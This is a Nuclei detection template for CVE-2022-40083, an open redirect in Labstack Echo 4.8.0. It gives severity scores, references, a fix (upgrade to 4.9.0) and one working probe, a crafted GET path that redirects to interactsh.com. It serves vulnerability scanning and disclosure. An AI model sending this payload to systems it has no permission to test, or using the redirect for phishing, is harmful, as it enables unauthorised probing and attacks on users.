Labstack Echo 4.8.0 contains an open redirect vulnerability via the Static Handler component. An attacker can leverage this vulnerability to cause server-side request forgery, making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2022-40083
info:
name: Labstack Echo 4.8.0 - Open Redirect
author: pdteam
severity: critical
description: |
Labstack Echo 4.8.0 contains an open redirect vulnerability via the Static Handler component. An attacker can leverage this vulnerability to cause server-side request forgery, making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
Successful exploitation of this vulnerability could lead to phishing attacks, credential theft,.
remediation: Download and install 4.9.0, which contains a patch for this issue.
reference:
- https://github.com/labstack/echo/issues/2259
- https://nvd.nist.gov/vuln/detail/CVE-2022-40083
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
cve-id: CVE-2022-40083
cwe-id: CWE-601
epss-score: 0.73135
epss-percentile: 0.98748
cpe: cpe:2.3:a:labstack:echo:4.8.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: labstack
product: echo
tags: cve,cve2022,redirect,labstack
http:
- method: GET
path:
- "{{BaseURL}}//interactsh.com%2f.."
matchers-condition: and
matchers:
- type: regex
part: location
regex:
- '^\s*//interactsh.com/\.\.'
- type: status
status:
- 301
# digest: 4a0a0047304502203d04dbf209736580f052ed0e808a379f2bf3e30bcf71bff292e58439b3b5274102210090004786b8c60e0ad9c3c07771783e9f85b19dbecf8ed976db994bed4e96a0c3:922c64590222798bb761d5b6d8e72950